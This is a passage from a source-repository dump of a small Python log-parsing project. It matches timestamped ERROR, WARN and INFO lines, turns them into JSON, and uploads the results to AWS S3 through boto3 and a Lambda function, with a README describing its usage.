\"status\"]\nKNOWN_STATUSES = 'done', 'running', 'waiting', 'canceled'\n\n\ndef traverse_find_reflow_batch_dirs(dirname):\n for root, dirs, files in os.walk(dirname):\n if all(x in files for x in STATUS_FILES):\n yield root\n\n\ndef echo_n_status(n_statuses, n_total):\n for status, n in sorted(n_statuses.items()):\n # \"done\" is short relative to other statuses, so pad with one extra\n # tab so it looks nice\n sep = '\\t' if status != 'done' else '\\t\\t'\n click.echo(f\"\\t{status}:{sep}{n}/{n_total}\\t({100*n/n_total:.3f}%)\")\n\n\[email protected](short_help=\"Summarize done/running/waiting/canceled reflow \"\n \"batch jobs\")\[email protected]('--path', default=REFLOW_BATCHES,\n help='Parent directory of subfolders containing reflow batch '\n 'files \"samples.csv\" and \"config.json\", '\n f'default: {REFLOW_BATCHES}')\ndef listbatches(path, n_last_words=4):\n \"\"\"Summarize done, running, waiting, canceled reflow batch jobs\"\"\"\n path = sanitize_path(path)\n\n reflow_batch_dirs = traverse_find_reflow_batch_dirs(path)\n for reflow_batch_dir in reflow_batch_dirs:\n os.chdir(reflow_batch_dir)\n\n lines = get_stdout_from_command([\"reflow\", \"listbatch\"])\n\n n_known_statuses = dict.fromkeys(KNOWN_STATUSES, 0)\n n_other_statuses = defaultdict(int)\n for line in lines:\n matched_status = False\n for status in KNOWN_STATUSES:\n if line.endswith(status):\n n_known_statuses[status] += 1\n matched_status = True\n if not matched_status:\n last_words = ' '.join(line.split()[-n_last_words:])\n n_other_statuses[last_words] += 1\n\n n_total = len(lines)\n\n click.echo(reflow_batch_dir)\n echo_n_status(n_known_statuses, n_total)\n\n if len(n_other_statuses) > 0:\n click.echo(\"\\tOther statuses:\")\n echo_n_status(n_other_statuses, n_total)\n" }, { "alpha_fraction": 0.6881579160690308, "alphanum_fraction": 0.6934210658073425, "avg_line_length": 24.33333396911621, "blob_id": "1d24d7414819d00c0d6aac792d36229a2e173799", "content_id": "8492cc41877f7c26a607957c846628c386bec05e", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 760, "license_type": "permissive", "max_line_length": 72, "num_lines": 30, "path": "/aguamenti/commandline.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Import modified 'os' module with LC_LANG set so click doesn't complain\nfrom .os_utils import os # noqa: F401\n\nimport click\n\nfrom aguamenti.rnaseq import align\nfrom aguamenti.status import listbatches\nfrom aguamenti.check import check_batch\n\nsettings = dict(help_option_names=['-h', '--help'])\n\n\[email protected](options_metavar='', subcommand_metavar='<command>',\n context_settings=settings)\ndef cli():\n \"\"\"\n Aguamenti creates reflow batches for AWS jobs from experiment IDs\n \"\"\"\n pass\n\n\ncli.add_command(align, name='rnaseq-align')\ncli.add_command(check_batch, name=\"check-batch\")\ncli.add_command(listbatches, name=\"status\")\ncli.add_command(check_batch, name=\"check-batch\")\n\nif __name__ == \"__main__\":\n cli()\n" }, { "alpha_fraction": 0.576256513595581, "alphanum_fraction": 0.580589234828949, "avg_line_length": 29.36842155456543, "blob_id": "1c9153e2e87c63a9e9422417a84f19149f2e8573", "content_id": "57e05001d48776ee544880098c62cc8207336296", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3462, "license_type": "permissive", "max_line_length": 78, "num_lines": 114, "path": "/setup.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\n\nwith open('README.md') as readme_file:\n readme = readme_file.read()\n\nwith open('HISTORY.md') as history_file:\n history = history_file.read().replace('.. :changelog:', '')\n\nwith open('requirements.txt') as requirements_file:\n requirements = requirements_file.readlines()\n\ntest_requirements = [\n 'pytest', 'coverage', 'flake8'\n]\n\n\n# Cribbed from https://github.com/pypa/setuptools/issues/1052\ndef get_requirements(remove_links=True):\n \"\"\"\n lists the requirements to install.\n \"\"\"\n requirements = []\n try:\n with open('requirements.txt') as f:\n requirements = f.read().splitlines()\n except Exception as ex:\n with open('aguamenti.egg-info\\requires.txt') as f:\n requirements = f.read().splitlines()\n if remove_links:\n for requirement in requirements:\n # git repository url.\n if requirement.startswith(\"git+\"):\n requirements.remove(requirement)\n # subversion repository url.\n if requirement.startswith(\"svn+\"):\n requirements.remove(requirement)\n # mercurial repository url.\n if requirement.startswith(\"hg+\"):\n requirements.remove(requirement)\n return requirements\n\n\ndef get_links():\n \"\"\"\n gets URL Dependency links.\n \"\"\"\n links_list = get_requirements(remove_links=False)\n for link in links_list:\n keep_link = False\n already_removed = False\n # git repository url.\n if not link.startswith(\"git+\"):\n if not link.startswith(\"svn+\"):\n if not link.startswith(\"hg+\"):\n links_list.remove(link)\n already_removed = True\n else:\n keep_link = True\n if not keep_link and not already_removed:\n links_list.remove(link)\n already_removed = True\n else:\n keep_link = True\n if not keep_link and not already_removed:\n links_list.remove(link)\n return links_list\n\nsetup(\n name='aguamenti',\n version='0.1.0',\n description=\"Python utility scripts for working with reflow workflows. \"\n \"\\\"Aguamenti\\\" is a spell in Harry Potter that creates water \"\n \"out of nothing.\",\n long_description=readme + '\\n\\n' + history,\n long_description_content_type=\"text/markdown\",\n author=\"Olga Botvinnik\",\n author_email='[email protected]',\n url='https://github.com/czbiohub/aguamenti',\n packages=[\n 'aguamenti',\n ],\n package_dir={'aguamenti':\n 'aguamenti'},\n include_package_data=True,\n install_requires=get_requirements(),\n dependency_links=get_links(),\n license=\"BSD\",\n zip_safe=False,\n keywords='aguamenti',\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n ],\n entry_points = {\n 'console_scripts': [\n 'aguamenti = aguamenti.commandline:cli'\n ]\n },\n test_suite='tests',\n tests_require=test_requirements\n)\n" }, { "alpha_fraction": 0.6834936141967773, "alphanum_fraction": 0.692307710647583, "avg_line_length": 26.733333587646484, "blob_id": "a195a3c9d4d361d04accae4ea124fcb8ae70d330", "content_id": "59c283bc76e5b778f7e2f95dd0d4517aef702a62", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1248, "license_type": "permissive", "max_line_length": 75, "num_lines": 45, "path": "/aguamenti/tests/test_status.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom click.testing import CliRunner\n\n\ndef test_traverse_find_reflow_batch_dirs(data_folder):\n from aguamenti.status import traverse_find_reflow_batch_dirs\n\n reflow_dirs = traverse_find_reflow_batch_dirs(data_folder)\n assert sum(1 for x in reflow_dirs) == 1\n\n\ndef test_echo_n_status(capsys):\n from aguamenti.status import echo_n_status\n\n n_statuses = {\"waiting\": 1, \"canceled\": 2, \"done\": 3, \"running\": 4}\n n_total = 10\n echo_n_status(n_statuses, n_total)\n captured = capsys.readouterr().out\n assert 'canceled' in captured\n assert 'done' in captured\n assert 'waiting' in captured\n assert 'running' in captured\n\n\ndef test_listbatches(data_folder):\n from aguamenti.status import listbatches\n\n runner = CliRunner()\n result = runner.invoke(listbatches, ['--path', data_folder])\n\n # exit code of '0' means success!\n assert result.exit_code == 0\n\n captured = result.output\n\n # Test folder containing status jobs\n assert 'aguamenti/aguamenti/tests/data/monitor/listbatches' in captured\n\n # Output from echo_n_status\n assert 'canceled' in captured\n assert 'done' in captured\n assert 'waiting' in captured\n assert 'running' in captured\n" }, { "alpha_fraction": 0.6359246969223022, "alphanum_fraction": 0.7020763158798218, "avg_line_length": 33.5, "blob_id": "7b0e6f905d6e453d9cc327087f146e2a001abc27", "content_id": "66ea18144902ae1760ad1daa719a6c5aa130859f", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2075, "license_type": "permissive", "max_line_length": 233, "num_lines": 60, "path": "/README.md", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "\nAguamenti\n===============================\n\n[![Travis-CI build status](https://img.shields.io/travis/czbiohub/aguamenti.svg)](https://travis-ci.org/czbiohub/aguamenti)\n[![Code Coverage](https://codecov.io/gh/czbiohub/aguamenti/branch/master/graph/badge.svg)](https://codecov.io/gh/czbiohub/aguamenti)\n\n\nWhat is `aguamenti`?\n---------------------------------------\n\nPython utility scripts for working with\n[reflow-workflows](https://github.com/czbiohub/reflow-workflows). \"Aguamenti\" is\na spell in Harry Potter that creates water out of nothing.\n\n* Free software: BSD license\n* Documentation: https://olgabot.github.io/aguamenti\n\n\nInstallation\n------------\n\nTo install this code, clone this github repository and use `pip` to install\n\n git clone https://github.com/olgabot/aguamenti.git\n cd aguamenti\n\n\nIf you have the\n[Anaconda Python distribution](anaconda.com/download/)/[Miniconda](https://conda.io/miniconda.html) (suggested):\n\n make conda_install\n\nIf you have non-conda Python:\n\n make install\n\n\n\nFeatures\n--------\n\n* Create an RNA-seq alignment batch with `samples.csv` and `config.json` files for\n STAR alignment and HTSeq-count with Reflow:\n ```\n  aguamenti rnaseq-align 20181030_FS10000331_12_BNT40322-1214 mus s3://olgabot-maca/aguamenti-test/\n Writing /Users/olgabot/code/aguamenti/samples.csv ...\n Done.\n Writing /Users/olgabot/code/aguamenti/config.json ...\n Done.\n ```\n\n* Create a RNA-seq alignment batch with a custom `reflow-workflows` path\n (`--reflow-workflows-path`) and custom output (`--output`) location\n ```\n  aguamenti rnaseq-align --reflow-workflows-path ~/code/reflow-workflows/ --output ~/code/reflow-batches/rnaseq/mus/20181030_FS10000331_12_BNT40322-1214/ 20181030_FS10000331_12_BNT40322-1214 mus s3://olgabot-maca/aguamenti-test/\n Writing /Users/olgabot/code/reflow-batches/rnaseq/mus/20181030_FS10000331_12_BNT40322-1214/samples.csv ...\n Done.\n Writing /Users/olgabot/code/reflow-batches/rnaseq/mus/20181030_FS10000331_12_BNT40322-1214/config.json ...\n Done.\n ```\n" }, { "alpha_fraction": 0.6036866307258606, "alphanum_fraction": 0.6036866307258606, "avg_line_length": 20.700000762939453, "blob_id": "83ff3f68e7230a60836256a2a9579e6248ca6619", "content_id": "911567e9e73842e1a9e3d459f3e4be116c8d80e0", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 217, "license_type": "permissive", "max_line_length": 67, "num_lines": 10, "path": "/aguamenti/tests/conftest.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "import os\n\nimport pytest\n\n\[email protected]\ndef data_folder():\n \"\"\"Absolute path to where test data is stored\"\"\"\n return os.path.join(os.path.abspath(os.path.dirname(__file__)),\n './data')\n" }, { "alpha_fraction": 0.6471131443977356, "alphanum_fraction": 0.6646651029586792, "avg_line_length": 25.40243911743164, "blob_id": "c1c9f8e684ad4fcd33f07f738a53616c8649ba96", "content_id": "aa170d88796c76a4deefbedbf690c46d0260c5d9", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2165, "license_type": "permissive", "max_line_length": 77, "num_lines": 82, "path": "/aguamenti/tests/test_rnaseq.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\nimport os\n\nfrom click.testing import CliRunner\nimport pytest\nimport pandas as pd\nimport pandas.testing as pdt\n\n\[email protected]\ndef experiment_id():\n return '20181030_FS10000331_12_BNT40322-1214'\n\n\[email protected]\ndef taxon():\n return 'mus'\n\n\[email protected]\ndef s3_output():\n return 's3://olgabot-maca/aguamenti-test/'\n\n\[email protected]\ndef rnaseq_folder(data_folder):\n return os.path.join(data_folder, 'rnaseq')\n\n\[email protected]\ndef true_config(rnaseq_folder):\n from aguamenti.os_utils import REFLOW_WORKFLOWS\n\n config = os.path.join(rnaseq_folder, 'config.json')\n with open(config) as f:\n true_config = json.load(f)\n true_config['program'] = os.path.join(REFLOW_WORKFLOWS,\n true_config['program'])\n return true_config\n\n\ndef test_rnaseq(rnaseq_folder, experiment_id, taxon, s3_output, true_config):\n from aguamenti.rnaseq import align\n\n csv = os.path.join(rnaseq_folder, 'samples.csv')\n true_samples = pd.read_csv(csv)\n\n runner = CliRunner()\n result = runner.invoke(align, [experiment_id, taxon, s3_output])\n\n # exit code of '0' means success!\n assert result.exit_code == 0\n assert 'samples.csv' in result.output\n assert 'config.json' in result.output\n\n # Make sure the files are there\n assert os.path.exists('samples.csv')\n assert os.path.exists('config.json')\n\n # Ensure file contents are correct\n test = pd.read_csv('samples.csv')\n pdt.assert_frame_equal(test, true_samples)\n\n with open('config.json') as f:\n test_config = json.load(f)\n assert test_config == true_config\n\n\ndef test_rnaseq_custom_outdir(experiment_id, taxon, s3_output, tmpdir):\n from aguamenti.rnaseq import align\n\n runner = CliRunner()\n result = runner.invoke(align, [\"--output\", tmpdir,\n experiment_id, taxon, s3_output])\n # exit code of '0' means success!\n assert result.exit_code == 0\n\n # Make sure the files are there\n assert os.path.exists(os.path.join(tmpdir, 'samples.csv'))\n assert os.path.exists(os.path.join(tmpdir, 'config.json'))\n" }, { "alpha_fraction": 0.6730245351791382, "alphanum_fraction": 0.6739327907562256, "avg_line_length": 24.604650497436523, "blob_id": "9301c4baba9c3f564a6d9961aaaf780fcd8bcbc4", "content_id": "a263ee2192dd3ad5da5f0094bc98293d079ec62f", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1101, "license_type": "permissive", "max_line_length": 73, "num_lines": 43, "path": "/aguamenti/reflow_utils.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "import json\nimport os\nimport warnings\n\nimport click\n\nwith warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n import pandas as pd\n\n\nSAMPLES_CSV = 'samples.csv'\nCONFIG_JSON = 'config.json'\n\n\ndef write_config(csv_filename, output, reflow_workflows_path, workflow):\n \"\"\"Write config.json to path with workflow and samples files\"\"\"\n rf = os.path.join(reflow_workflows_path, workflow)\n config = {\"program\": rf, \"runs_file\": os.path.basename(csv_filename)}\n json_filename = os.path.join(output, CONFIG_JSON)\n click.echo(f\"Writing {json_filename} ...\")\n with open(json_filename, 'w') as f:\n json.dump(config, f)\n click.echo(\"\\tDone.\")\n\n\ndef write_samples(output, samples):\n \"\"\"Write samples.csv file to path\"\"\"\n csv = os.path.join(output, SAMPLES_CSV)\n click.echo(f\"Writing {csv} ...\")\n samples.to_csv(csv)\n click.echo(\"\\tDone.\")\n return csv\n\n\ndef read_config(config_filename):\n with open(config_filename) as f:\n config = json.load(f)\n return config\n\n\ndef read_samples(csv_filename):\n return pd.read_csv(csv_filename, index_col=0)\n" } ]
18
AnujaVaidya/Web-Crawling-using-Apache-Mesos-
https://github.com/AnujaVaidya/Web-Crawling-using-Apache-Mesos-
0f2d252278e4469ac2c0b5b236aafaac2bb3b6e1
5407d7233db8737abce29937c14a95dddd0c178b
7752ebdac74ce51a097d791a6e9635eeea4b7a32
refs/heads/master
2018-12-30T11:02:03.820804
2017-03-11T04:40:15
2017-03-11T04:40:15
84,624,187
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.584629476070404, "alphanum_fraction": 0.5892040133476257, "avg_line_length": 21.75, "blob_id": "3aecbc7d18047d03db0983ce72547f934599dc5a", "content_id": "da109eb198674296d8c287899c6e3700f59cd14b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1093, "license_type": "no_license", "max_line_length": 75, "num_lines": 48, "path": "/resultFile.py", "repo_name": "AnujaVaidya/Web-Crawling-using-Apache-Mesos-", "src_encoding": "UTF-8", "text": "import hashlib\nimport wget\n\n\ndef dot(url_list, render_map, output_file):\n print repr(render_map)\n f = open(output_file, 'w')\n f.write(\"digraph G {\\n\")\n f.write(\" node [shape=circle style=filled fillcolor=black];\\n\")\n\n urls_with_images = []\n for url in render_map:\n image_url = render_map[url]\n\n if image_url[:8] == \"file:///\":\n filename = image_url[8:]\n\n else:\n print \"Unable to download \" + image_url\n continue\n\n url_hash = \"X\" + hash_url(url)\n f.write(\" \" + url_hash + \"[label=\\\"\\\" image=\\\"\" + filename + \"\\\"];\\n\")\n\n\n urls_with_images.append(url_hash)\n\n for urls in url_list:\n (from_url, to_url) = urls\n\n from_hash = \"X\" + hash_url(from_url)\n to_hash = \"X\" + hash_url(to_url)\n\n if (from_hash not in urls_with_images):\n continue\n\n if (to_hash not in urls_with_images):\n continue\n\n f.write(\" \" + from_hash + \" -> \" + to_hash + \";\\n\")\n\n f.write(\"}\\n\")\n f.close()\n\n print \"The result is being written to output file \" + output_file\n\ndef hash_url(url):\n return hashlib.sha256(url.encode('ascii', 'replace')).hexdigest()\n\n" }, { "alpha_fraction": 0.6101438403129578, "alphanum_fraction": 0.6150643229484558, "avg_line_length": 27.69565200805664, "blob_id": "ca699dae6bde4b2d36b3cad8be0bf844fca7a9ca", "content_id": "b85c32738f456cc43205e96f9c72713ac85d2727", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2642, "license_type": "no_license", "max_line_length": 84, "num_lines": 92, "path": "/storeScript.py", "repo_name": "AnujaVaidya/Web-Crawling-using-Apache-Mesos-", "src_encoding": "UTF-8", "text": "\n\nimport os\nimport sys\nfrom subprocess import call\nfrom threading import Thread\nimport results\nimport threading\nimport uuid\nimport time\n\ntry:\n from mesos.native import MesosExecutorDriver, MesosSchedulerDriver\n from mesos.interface import Executor, Scheduler\n from mesos.interface import mesos_pb2\nexcept ImportError:\n from mesos import Executor, MesosExecutorDriver, MesosSchedulerDriver, Scheduler\n import mesos_pb2\n\n\n\nclass RenderExecutor(Executor):\n def __init__(self, local):\n self.local = local\n\n\n def reregistered(self, driver, slaveInfo):\n print \"RenderExecutor reregistered\"\n\n def disconnected(self, driver):\n print \"RenderExecutor disconnected\"\n\n def launchTask(self, driver, task):\n def run_task():\n print \"Running render task %s\" % task.task_id.value\n update = mesos_pb2.TaskStatus()\n update.task_id.value = task.task_id.value\n update.state = mesos_pb2.TASK_RUNNING\n driver.sendStatusUpdate(update)\n\n url = task.data\n\n destination = uuid.uuid4().hex + \".png\"\n if call([\"phantomjs\", \"render.js\", url, destination]) != 0:\n print \"Could not render \" + url\n return\n\n\n remote_destination = \"file:///\" + os.getcwd() + \"/\" + destination\n\n \n print \"Produce result\"\n res = results.RenderResult(\n task.task_id.value,\n url,\n remote_destination\n )\n message = repr(res)\n driver.sendFrameworkMessage(message)\n\n print \"Sending status update for task %s\" % task.task_id.value\n update = mesos_pb2.TaskStatus()\n update.task_id.value = task.task_id.value\n update.state = mesos_pb2.TASK_FINISHED\n driver.sendStatusUpdate(update)\n print \"Sent status update for task %s\" % task.task_id.value\n return\n\n thread = threading.Thread(target=run_task)\n thread.start()\n\n def killTask(self, driver, taskId):\n pass\n\n def shutdown(self, driver):\n pass\n\n def registered(self, driver, executorInfo, frameworkInfo, slaveInfo):\n print \"RenderExecutor registered\"\n\n def error(self, error, message):\n pass\n\n def frameworkMessage(self, driver, message):\n pass\n\nif __name__ == \"__main__\":\n print \"Starting Render Executor\"\n local = False\n if len(sys.argv) == 2 and sys.argv[1] == \"--local\":\n local = True\n\n driver = MesosExecutorDriver(RenderExecutor(local))\n sys.exit(0 if driver.run() == mesos_pb2.DRIVER_STOPPED else 1)\n" }, { "alpha_fraction": 0.7397959232330322, "alphanum_fraction": 0.7397959232330322, "avg_line_length": 27, "blob_id": "17f11c257f83c08ea0ed0cbc2efd691b6fe0cbcc", "content_id": "5177ee083d9ae91373c3694c050dd0c5f8d2c4d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 196, "license_type": "no_license", "max_line_length": 79, "num_lines": 7, "path": "/README.md", "repo_name": "AnujaVaidya/Web-Crawling-using-Apache-Mesos-", "src_encoding": "UTF-8", "text": "Web Crawler\ncd <folder name>\n$ vagrant up\n$ vagrant ssh\nvagrant@mesos:~ $ cd hostfiles\nvagrant@mesos:python $ python crawler.py <seed url> <ip of master> <task limit>\nvagrant@mesos:~ bin/make-pdf\n" } ]
3
shrirangbagdi/LogParser
https://github.com/shrirangbagdi/LogParser
8c0af19a7f01ec2682eed0818bbb3eb7201ddf7f
a5a2dabbfab828e103f5062bb65d2988a72323e4
e29d2cd7dd16f961a964dbf90a7b3e011ecf7c4c
refs/heads/master
2022-12-01T06:28:05.091601
2020-08-16T22:17:05
2020-08-16T22:17:05
274,524,768
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5355474948883057, "alphanum_fraction": 0.5760248899459839, "avg_line_length": 29.109375, "blob_id": "0b3932146b21ebea2202711e434ba5e494c588bc", "content_id": "da5e6843de6f10dad039cb9cf18ca6798e480d57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1927, "license_type": "no_license", "max_line_length": 133, "num_lines": 64, "path": "/PatternFour.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import re\nfrom datetime import datetime\n\n#\"[2020-07-07T18:42:01.735] [INFO] ngui - com.unraveldata.ngui.topx.enabled :true\"\n\nclass PatternFour:\n def __init__(self, line):\n self.line = line\n\n def IsPatternFour(self):\n try:\n time_stamp = self.line[1:24]\n message_type = self.line[27:31]\n message_type_two = self.line[27:32]\n return self.IsCorrectTimeStamp(time_stamp) and (self.IsCorrectType(message_type) or self.IsCorrectType(message_type_two))\n\n except:\n print(\"Not Pattern Four\")\n return False\n\n def IsCorrectTimeStamp(self, TimeStamp):\n try:\n date = TimeStamp[0:10]\n time = TimeStamp[11:23]\n character = TimeStamp[10]\n\n date_to_match = re.compile(r'\\d\\d\\d\\d-\\d\\d-\\d\\d')\n time_to_match = re.compile(r'\\d\\d:\\d\\d:\\d\\d.\\d\\d\\d')\n\n return date_to_match.match(date) and character == \"T\" and time_to_match.match(time)\n\n except:\n print(\"Not Pattern Four\")\n return False\n\n # create a variable to check for a certain type ....\n def IsCorrectType(self, message_type):\n return message_type == \"ERROR\" or message_type == \"WARN\" or message_type == \"INFO\"\n\n def ConvertTimestamp(self, TimeStamp):\n try:\n date = TimeStamp[0:10]\n time = TimeStamp[11:23]\n\n return date + \" \" + time\n except:\n print(\"Error converting timestamp\")\n\n def GetCurrentType(self):\n\n if self.line[27:32] == \"ERROR\":\n return self.line[27:32]\n else:\n return self.line[27:31]\n\n def GetTimeStamp(self):\n return self.line[1:24]\n\n def GetMessage(self):\n return self.line[30:]\n\nif __name__ == '__main__':\n Pattern = PatternFour(\"[2020-07-07T18:42:01.735] [ERROR] ngui - com.unraveldata.ngui.topx.enabled :true\")\n (Pattern.IsPatternFour())\n" }, { "alpha_fraction": 0.5998807549476624, "alphanum_fraction": 0.6100178956985474, "avg_line_length": 29.490909576416016, "blob_id": "c6fb9ff2b71a956f2de65d7dd610498a4243010b", "content_id": "0701148885d8ae440e3189f1626aa0b9f1108404", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1677, "license_type": "no_license", "max_line_length": 142, "num_lines": 55, "path": "/S3BucketParser/S3BucketParser.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import json\nimport os\n\nimport boto3\n\nfrom S3BucketParser.BucketFolderParser import BucketFolderParser\n\ns3_object = boto3.resource('s3', aws_access_key_id=\"****\",\n aws_secret_access_key=\"****\")\n\n\nclass S3BucketParser:\n def __init__(self, bucketName):\n self.bucketName = bucketName\n\n def Parser(self):\n self.bucketParser(\"unravellogdata\")\n\n\n def bucketParser(self, bucketName):\n s3AllObj=s3_object.Bucket(bucketName).objects.all()\n for obj in s3AllObj:\n bucket_parser = BucketFolderParser(obj)\n messages = bucket_parser.parseBucketFolder()\n file_name = self.getFileName(obj.key)\n self.createJson(messages, file_name)\n self.uploadToS3(messages, obj.key)\n\n def getFileName(self, objectKey):\n (file, ext) = os.path.splitext(objectKey)\n\n return file.split('/')[-1]\n\n def uploadToS3(self, messages, objectKey):\n fileName = self.getFileName(objectKey)\n\n if messages:\n s3 = boto3.client('s3')\n s3.upload_file('/Users/shrirangbagdi/Desktop/' + fileName + '.json', 'unravellogdata', self.getBucketPathway(objectKey) + \".json\")\n\n def createJson(self, messages, fileName):\n if messages:\n with open(\"/Users/shrirangbagdi/Desktop/\" + fileName + '.json', 'w') as log_file:\n log_file.write('\\n'.join(json.dumps(i) for i in messages) +\n '\\n')\n\n def getBucketPathway(self, objectKey):\n (file, ext) = os.path.splitext(objectKey)\n\n return file\n\n\nif __name__ == '__main__':\n parser = S3BucketParser(\"unravellogdata\")\n parser.Parser()\n" }, { "alpha_fraction": 0.5408805012702942, "alphanum_fraction": 0.550763726234436, "avg_line_length": 24.837209701538086, "blob_id": "e262190594e5bfee4a30d40d30f035d393620d9a", "content_id": "da0bb1b77dee67786c1422076a64dcbc3e638e27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1113, "license_type": "no_license", "max_line_length": 90, "num_lines": 43, "path": "/LambdaAWSFunction/log_parser.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import os\nimport boto3\n\nfrom LambdaAWSFunction.message import message\n\n\nclass Log_Parser:\n\n def __init__(self):\n pass\n\n def parse_file(self, event):\n s3 = boto3.resource(\"s3\")\n file_obj = event[\"Records\"][0]\n bucket_name = str(file_obj['s3']['bucket']['name'])\n file_name = str(file_obj['s3']['object']['key'])\n file_obj = s3.Object(bucket_name, file_name)\n\n if self.is_log(file_name) and file_name[-1] != \"/\" and (self.is_filled(file_obj)):\n case_id = self.get_id(file_name)\n parser = message(case_id, event)\n message_list = parser.generate_messages()\n return message_list\n\n def get_id(self, fileName):\n if \"/\" in fileName:\n return fileName.split(\"/\")[0]\n else:\n return \"No ID\"\n\n def is_log(self, fileName):\n (file, ext) = os.path.splitext(fileName)\n\n return ext == \".log\"\n\n def is_filled(self, fileObj):\n\n file_content = fileObj.get()[\"Body\"].read().decode('utf-8')\n\n if file_content == \"\":\n return False\n\n return True\n\n\n" }, { "alpha_fraction": 0.7702001333236694, "alphanum_fraction": 0.7928094863891602, "avg_line_length": 61.72093200683594, "blob_id": "960167b182a21230d04a2f6a160641a90c4788c7", "content_id": "7c3ed14803daa1f1d2d9d2439ff3ef435bb52967", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2699, "license_type": "no_license", "max_line_length": 444, "num_lines": 43, "path": "/README.md", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "# LogParser\n\nAuthor: Shrirang Bagdi - [email protected]\n\n\n\n\nTable of Contents\n1. Description of Parser\n2. Possible Commands\n3. Setup\n\nAn use case for this code. \n![Screen Shot 2020-08-12 at 12 04 48 PM](https://user-images.githubusercontent.com/55151440/90059181-9b2fe080-dc97-11ea-98f8-ea9758ddaac9.png)\n\n\n## 1. Description of Parser\n\nIt is difficult to read through hundreds of lines of errors, warnings, information, etc. in order to understand what may be going wrong with an application. This open source log parsing project was created in order to aid in parsing such logs in order to find error and warning messages and to generate a detailed output file.\n\n### Different Implementations:\n\n#### Log Parser using AWS Lambda Function\nWhen a user uploads log files into an S3 Bucket, an AWS lambda function is triggered. The AWS Lambda function parses through all the input files and generates a JSON file of messages. The generated output is uploaded into another S3 bucket.\n\n#### Log Parser for an S3 Bucket without AWS Lambda\nIf one wants to just generate a JSON file without using the AWS lambda trigger, there is also an implementation that allows the user to generate JSON files through the parsing of the S3 Bucket. \n\n#### Log Parser for a file through the command line \nIf one wants to just generate a JSON file by specificing the pathway of the log file there is also an implementation for that to aid the user in generating JSON files. \n\n\n## 2. Possible Commands\n\nIf the program is run using the command line, there are 6 possible commands that the user can run. In order to run these commands properly, you must update the \nsource pathway and destination pathway inside the property file. You must additionally read the [LogParser.properties](https://github.com/shrirangbagdi/LogParser/blob/master/LogParser.properties) file for more information. It contains a list of possible commands that this parser can complete. For example, in order to run a file parser the user must include the command number as well as the file in the folder that they want to parse through.\n\n\n## 3. Setup\n\nFor all setup options make sure that python3 is installed. Additionally, for all implementations of the LogParser the different pattern classes are necessary in order for the program to run. \nIf you are using the LogParser with the S3 Bucket without AWS Lambda make sure to have Boto3 installed. \nIf you are using the LogParser for a file through the command line make sure that the source pathway and destination pathway is updated inside the property file. You must additionally read the [LogParser.properties](https://github.com/shrirangbagdi/LogParser/blob/master/LogParser.properties) file for more information.\n\n" }, { "alpha_fraction": 0.573672890663147, "alphanum_fraction": 0.5817760825157166, "avg_line_length": 44.12686538696289, "blob_id": "e55ac39cfdffbd2866ac0de4f2905ac4cb3d9367", "content_id": "dec5a7b28c98f2ca082093101746cd86e2a4d2cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6047, "license_type": "no_license", "max_line_length": 120, "num_lines": 134, "path": "/LogParser.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import json\nimport sys\nimport os\n\nfrom FileParser import FileParser\nfrom FolderParser import FolderParser\n\n\nclass LogParser:\n def __init__(self, propertyFile):\n self.propertyFile = propertyFile\n self.parseSpecificDate = False\n\n def GetSource(self):\n try:\n property_file = open(self.propertyFile, 'r')\n for line in property_file:\n if \"SourcePath\" in line:\n source_pathway = line.split(\"=\")[-1].strip()\n if not os.path.exists(source_pathway):\n raise Exception(\"File does not exist\")\n else:\n return 